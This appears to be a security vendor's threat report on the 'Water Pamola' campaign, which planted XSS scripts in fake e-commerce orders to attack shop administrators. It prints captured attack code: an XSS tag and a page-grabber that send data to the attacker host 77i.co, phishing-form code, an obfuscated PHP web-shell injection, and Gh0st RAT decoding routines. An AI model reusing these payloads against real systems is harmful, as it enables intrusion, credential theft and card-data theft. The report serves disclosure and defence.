Water Pamola Attacked Online Shops Via Malicious Orders

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April 28, 2021


APT & Targeted Attacks

Since 2019, we have been tracking a threat campaign we dubbed as "Water Pamola." The campaign initially compromised e-commerce online shops in Japan, Australia, and European countries via spam emails with malicious attachments.

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Since 2019, we have been tracking a threat campaign we dubbed as "Water Pamola." The campaign initially compromised e-commerce online shops in Japan, Australia, and European countries via spam emails with <u>malicious attachments</u>.

However, since early 2020, we've noticed some changes to Water Pamola's activity. Victims are now mainly located only in Japan. Recent telemetry data indicates that the attacks are not being launched via spam anymore. Instead, malicious scripts are being executed when the administrators look into customer orders in their online shop's administration panel.



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Figure 1. The Water Pamola attack chain

After further searching, we noticed that an online store administrator asked about a strange online <u>order</u> that contains JavaScript code inserted into the field where the customer's address or company name would normally be located. This script is likely activated by exploiting a <u>cross-site scripting</u> (XSS) vulnerability in the said store's administration portal.

▼問題点 いたずら注文と思われる注文が入っております。
住所、会社名にて以下の文字が入っております。
<script src="//77i.co"></script>

これは<script>タグに見えますが、何かされようとしていたということでしょうか?

お分かりの方いればご教示いただけますと助かります。

Figure 2. The question asked on a forum showing the payload related to Water Pamola. The above is a screenshot of the text in a <u>forum</u>, which is translated by Google Translate as *Problem*, there is an order that seems to be a mischievous order. The following characters are included in the address and company name.

The script connects to the Water Pamola's server and downloads additional payloads. Taken together, this led us to believe that Water Pamola places orders with this embedded XSS script across many targeted online shops. If they are vulnerable to this XSS attack, these will be loaded when the victim (i.e., an administrator at the targeted merchant) opens the order within their management panel.

We have collected many attack scripts they delivered to different targets. The malicious behavior performed by the scripts includes page grabbing, credential phishing, web shell infection, and malware delivery.

This campaign appears to be financially motivated. In at least one instance, a site that Water Pamola attacked later disclosed that they had suffered a data breach. Their server was illegally accessed and personal information, which included names, credit card numbers, card expiration dates, and credit card security codes, were potentially leaked. This breach might be associated with Water Pamola, and it hints that this campaign's overall goal is to steal the credit card data (similar to <u>Magecart</u> campaigns).

Analysis of the XSS attack

As previously mentioned, Water Pamola sent online shopping orders appended with a malicious XSS script to attack e-commerce administrators.

It's worth mentioning that they are not targeting a specific e-commerce framework, but ecommerce systems in general. If the store's e-commerce system is vulnerable to XSS attacks, the malicious script will be loaded and executed on the merchant's management panel once someone (like a system administrator or store employee) opens the said order. These scripts were managed with an XSS attack framework called "<u>XSS.ME</u>," which helps attackers deal with their attack scripts and the stolen information. The source code of this framework is shared across many Chinese public forums. The basic attack script provided by the framework could report the victim's location and browser cookies. We observed that the scripts used during the attacks were customized. The attackers delivered a variety of different XSS scripts, which could include one or more of the following behaviors:

Page Grabber

The script sends an HTTP GET request to a specified URL address and forwards the received response to Water Pamola's server. This is usually used during an early stage of the attack to grab content from the victim's management page. Doing so allows the threat actor to understand the environment and design attack scripts appropriate to the victim's environment.

```
function poRec(urlGet, text)
           var url = urlGet.replace(/\//g, "-");
           var data2 = escape(text);
          var xhr2 = null;
 5
         try {
              xhr2 = new XMLHttpRequest()
 6
          } catch (e) {
8
             xhr2 = new ActiveXObject("Microsoft.XMLHTTP")
9
         ÷
10
         xhr2.open("post", "https://77i.co/rechtml/", true);
         xhr2.setRequestHeader('content-type', 'application/x-www-form-urlencoded');
xhr2.send("data=" + data2 + "&url=" + url)
12
13
14
15
   function getSou(urlGet) {
16
          var xhr = null;
         try {
18
              xhr = new XMLHttpRequest()
19
        } catch (e) {
20
             xhr = new ActiveXObject("Microsoft.XMLHTTP")
         xhr.open("get", urlGet, true);
23
         xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded');
24
          xhr.send();
25
26
27
日
         xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
    if (xhr.status == 200) {
28
                      poRec(urlGet, xhr.responseText);
29
30
                       if (xhr.responseText) {}
                   } else {
31
                       poRec(urlGet, "xhr.status=" + xhr.status + "\r\n" + xhr.responseText)
                   ÷
33
               3
34
```

Figure 3. The script for grabbing page content and sending it back to the attacker **Credential Phishing**

Some of the delivered scripts revealed that the campaign was trying to obtain administrator credentials for e-commerce websites using two different approaches. The first way involves appending a fake login form to the page. The script hooks the mouse click event. If the victim enters the credential in the fake form and clicks anywhere on the page, the script will take the credentials, encode them using base64, replace some characters with custom substrings, and then upload these to Water Pamola's server.

50	<pre>function create_form(a) {</pre>								
51	<pre>var f = document.createElement("form");</pre>								
52	<pre>f.id = "safeFoem";</pre>								
53	<pre>document.getElementsByTagName("body")[0].appendChild(f);</pre>								
54	<pre>var b = document.createElement("input");</pre>								
55	<pre>b.type = "text";</pre>								
56	<pre>b.name = "username";</pre>								
57	<pre>b.id = "username";</pre>								
58	f.appendChild(b);								
59	<pre>var e = document.createElement("input");</pre>								
60	e.name = "password";								
61	e.type = "password";								
62	<pre>e.id = "password";</pre>								
63	f.appendChild(e)								
64	L}								
65									
66	<pre>[function del_form() {</pre>								
67	<pre>if (document.getElementById("safeFoem")) {</pre>								
68	<pre>document.getElementById("safeFoem").style.display = "none"</pre>								
69	- }								
70									

Figure 4. The script to create and delete fake login form for credential phishing The other approach involves showing an authorization error message and then redirecting the user to a phishing website that asks users to enter their credentials. The subdomains of their phishing sites were configured to match the names of the targets' domain, such as "{victim's domain}[.]basic-authentication[.]live".




Figure 5. The script replaces the page content with an authorization error message and redirects users to the phishing website

Webshell/PHP backdoor injection

Some of the delivered malicious scripts attempt to install backdoors to the websites built with the <u>EC-CUBE</u> framework, which is popular in Japan. The attack we found only works on Series 2 of EC-CUBE; the current version is Series 4, with Series 2 now under extended support.

There are three different approaches used to upload the backdoor. The first method is uploading a PHP web shell file by calling the native API provided by the framework. The name of the web shell file is hardcoded to be either "ec_ver.php," "log3.php," or "temp.php." The web shell can execute any PHP code sent by an HTTP POST request to the web shell.

Note the screenshot in Figure 6: The same web shell with the same "only_pcd" keyword is mentioned in this <u>Chinese blog post</u>. The blog post describes a web shell with two components — a PHP script and an HTML uploading file — however, the second one is not needed as the proper POST request can be created with any custom or third-party tool (e.g., Fiddler).




Figure 6. The script for uploading the PHP web shell to an e-commerce website The second method is modifying the page header to inject PHP code, which will then execute any PHP code, sent by the parameter "ec_ver2update" in the HTTP request. Note that the PHP code below is obfuscated. First, the \$IDFX variable uses XOR operation (see character ^) to decode the string "create_function", then the resulting base64 string is decoded to **@eval(\$_REQUEST['ec_ver2update'])**; which is the backdoor's code.

390 E 391 E	<pre>if (g.responseText) {</pre>						
391 🖨	try {						
392	var a = 123;						
393 🖨	try (
394	<pre>a = g.responseText.split("transactionid\" value=\"") [1].split("\"") [0]</pre>						
395 -	} catch (e) {}						
396	<pre>var b = g.responseText.split("name=\"header\"")[1].split(">")[1];</pre>						
397	<pre>b = b.split("</pre>						
398 🖨	<pre>if (b.indexOf("base64 de") > -1) {</pre>						
399	return						
400 -	}						
401	<pre>var c = '<!--{php}-->class MJES{function destruct(){</pre>						
402	\$IFDX=\'y-wMe=sIo+a&UTz\'^"\\x1a\\x5f\\x12\\x2c\\x11\\x58\\x2c\\x2f\\x1a\\x45\\x2\\x3c\\x3b\\x14";						
403 🖨	<pre>@\$IFDX=\$IFDX(\'\',\$this->DNHF);return @\$IFDX();}}\$mjes=new MJES();</pre>						
404	<pre>@\$mjes->DNHF=base64 decode("IEBldmFsKCRfUkVRVUVTVFsnZWNfdmVyMnVwZGF0ZSddKTs=");<!--{/php}-->';</pre>						
405	c = HTMLEncode2(c);						
406	b = b + c;						
407	b = HTMLDeCode1(b);						
408	<pre>b = encodeURIComponent(b);</pre>						
409	if (a == 123) {						
410	docsrf23tem(d, a, f, b)						
411	} else {						
412	docsrf26tem(d, a, f, b)						
413 -	}						
414 -	} catch (e) {}						
415	<pre>poRecCs2(d, "xhr.status1=" + g.status + "\r\n" + g.responseText)</pre>						
416 -							

Figure 7. The script for modifying the shop page header to inject a web shell The third method is installing a malicious plugin embedded in a file named "MakePlugin.tar.gz" to the e-commerce framework. The plugin has been designed to drop multiple PHP web shell files on the server.

```
258
      function docsrfPlu(d, e) {
259
            function dataURLtoFile(a, b) {
260
               var c = atob(a.substring(a.indexOf(',') + 1));
                var n = c.length,
261
262
                   u8arr = new Uint8Array(n);
                while (n--) {
263
264
                   u8arr[n] = c.charCodeAt(n)
265
266
               return new File([u8arr], b)
267
           var f = "data:application/zip;base64,H4sIAFvXo18AA+1WbWsbRxD21xj8H5YgIsnId3qJa3Db+EW+xkdlSUhyvzTl0J1W1iWnu+NeLBtjqHQECjUUStzi
268
           var g = dataURLtoFile(f, 'MakePlugin.tar.gz');
           var h = new FormData();
270
271
           h.append('transactionid',
           h.append('mode', 'install');
h.append('plugin file', g, 'MakePlugin.tar.gz');
272
273
274
            var i = new XMLHttpRequest();
           i.open('POST', d, true);
275
276
           i.send(h)
277
```

Figure 8. The script for uploading and installing the malicious plugin, "MakePlugin.tar.gz"



Figure 9. The malicious plugin installs several files with web shells **Malware Delivery**

In this case, the attack script will show an alert prompt with a message that reads "Your Flash version is too low, please install the latest version and try again!" and then redirects the victim to the fake Flash installer download website they control. (Note that Flash has been declared end-of-life by Adobe since <u>December 31, 2020</u>.)

If the victim downloads and executes the installer downloaded from this page, the victim will be infected with a variant of Gh0stRat malware, previously also named <u>Gh0stCringe or</u> <u>CineregRAT</u>. This RAT's code is based on leaked Gh0st RAT source code; however, its traffic encryption is customized and it added some new features, like QQ number theft. The Gh0st RAT samples related to this campaign are obfuscated executable files, which decrypt the main payload in memory and execute its main export function named "Shellex."

727	<pre>function tpsJump() {</pre>
728	if (Math.random() < 0.79) {
729	if $(k < 59)$ {
730	<pre>setCookie("_jNum", k.toString());</pre>
731	alert("Your Flash version is too low, please install the latest version and try again!");
732	<pre>location.href = "https://download.adobe-air.com/flashplayer/"</pre>
733	} else {
734	<pre>setCookie("_cfcache2", "google")</pre>
735	
736	
737	

Figure 10. The script showing the error message and redirect to the fake Flash installer




Figure 11. The fake Flash installer download website **Analysis of the fake Flash installer**

As described earlier, the XSS attack script redirects the victim to a fake Flash download site. Clicking on the "Install now" button downloads a .ZIP archive, which contains several legitimate files as well as a few malicious ones, which are usually in form of DLL libraries. These libraries will be sideloaded when the legitimate executable gets executed.

9	actlib	dll	1,000,391	
9	actlib Adob	dll	12,674,147	
Ø	AdobeAirFlashInstaller	exe	12,251,136	Figure 12. The neeksge of downloaded
	README	txt	7,647	Figure 12. The package of downloaded
9	ulibs xerces-c_2_1_0	dll	39,936	
9	xerces-c_2_1_0	dll	1,863,680	
_				

Flash installer

In this example, AdobeAirFlashInstaller.exe (legitimate file) sideloads xerces-c_2_1_0.dll (patched legitimate file), which then sideloads ulibs.dll (malicious file). Ulibs.dll loads Adob.dll, which is a ZIP archive. After extracting the content of the Adob.dll zip archive, two legitimate and signed executable files are present and executed, and a similar sideloading process happens once more.

[windowsfiles]	<dir></dir>
AdobeAlRInstaller	exe11,543,640
🗟 HttpDownloader	dli 98,872 dli 14,848 Figure 13. The package inside Adob.dll
🚳 oplib	dli 14,848 Figure 15. The package inside Adob.di
Svchost	exe 467,512
🚳 Utility	dll 109,568

Here, svchost.exe (renamed legitimate and signed Launcher.exe file from Tencent) sideloads Utility.dll (patched legitimate file). This patched file contains one new section called .newimp (new import), which adds a new import item with a reference to the oplib.dll library. This oplib.dll library is then sideloaded.

oplib.dll	o.dll 0001F09E		00000	0000000	0001F08C	0001F096	96	
ThunkBVA	ThunkOffset	ThunkValue	Hint	ApiName			Figure 14.	
0001F09E	00019C9E	0001F0A6	0000	azdopmic			-	

Oplib.dll side-loading

This new import was very likely added manually by using a utility called Stud_PE. This utility has a feature called "Import Adder," while ".newimp" is the default name of a newly added section containing newly added imports. Oplib.dll then loads a lib.DAT file from the windowsfiles directory, decodes and decrypts its contents (from a hexadecimal string; XOR 0x42), and loads it into the newly created svchost.exe process. In addition, persistence via registry keys and Scheduled Tasks are configured.

for (i = 0; i < v2; ++i) v5[i] ^= 0x42u; inject_into_svchost(v5);</pre> Figure 15. XOR routine and svchost injection

At the end, the last payload of this infection chain is a variant of a Gh0st RAT. Communication with C&C uses sockets and is encrypted with simple SUB 0x46, XOR 0x19 encryption.

```
for ( i = 0; i < a2; ++i )
*(_BYTE *)(i + a1) = (*(_BYTE *)(i + a1) - 0x46) ^ 0x19; Figure 16. XOR routine that
```

encrypts C&C communication

```
v2 = CreateEventA(0, 1, 0, 0);
*((_DWORD *)v1 + 18) = -1;
*((_DWORD *)v1 + 19) = v2;
v1[83] = 0;
Src[0] = 'x';
Src[1] = 'y';
Src[2] = ' ';
memcpy(v1 + 80, Src, 3u);
Figure 17. A packetFlag "xy" was found inside this Gh0st
```

RAT variant

This Gh0st RAT variant implements additional features for stealing QQ messenger user information, for example, a list of users on a given machine and their QQ messenger numbers.

The code below obtains QQ numbers that are currently logged on the machine, mentioned <u>here</u>.

```
strcat(&Dest, "\\Tencent\\Users\\*.*");
v1 = FindFirstFileA(&Dest, &FindFileData);
FindNextFileA(v1, &FindFileData);
while ( 1 )
{
    result = FindNextFileA(v1, &FindFileData);
    if ( !result )
        break;
    if ( FindFileData.dwFileAttributes & FILE ATTRIBUTE DIRECTORY )
```

```
for ( i = FindWindowA("CTXOPConntion_Class", 0); ; i = GetWindow(hWnd, 2u) )
{
    hWnd = i;
    if ( !i )
        break;
    ClassName = 0;
    memset(v12, 0, sizeof(v12));
    v13 = 0;
    v14 = 0;
    GetClassNameA(hWnd, &ClassName, 260);
    if ( !strcmp(&ClassName, "CTXOPConntion_Class") )
    {
        if ( hWnd )
            GetWindowTextA(hWnd, &String, 260);
    }
}
```

code used to obtain user QQ numbers

Protecting e-commerce platforms from Water Pamola's attacks

Water Pamola attacked online merchants with an XSS script appended onto online shopping orders. They also perpetrated social engineering attacks to phish credentials or prompt the download of a remote access tool. Online shop administrators should be aware that potential attacks may come not only from spam but also from different — and unexpected — infection vectors. We also recommend that administrators keep the versions of any e-commerce platforms in use by their websites up to date to prevent any potential vulnerabilities, including XSS attacks.

Organizations can benefit from having Trend Micro[™] endpoint solutions such as <u>Trend Micro</u> <u>Smart Protection Suites</u> and <u>Worry-Free[™] Business Security</u>. These can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.

Indicators of compromise can be found in this appendix.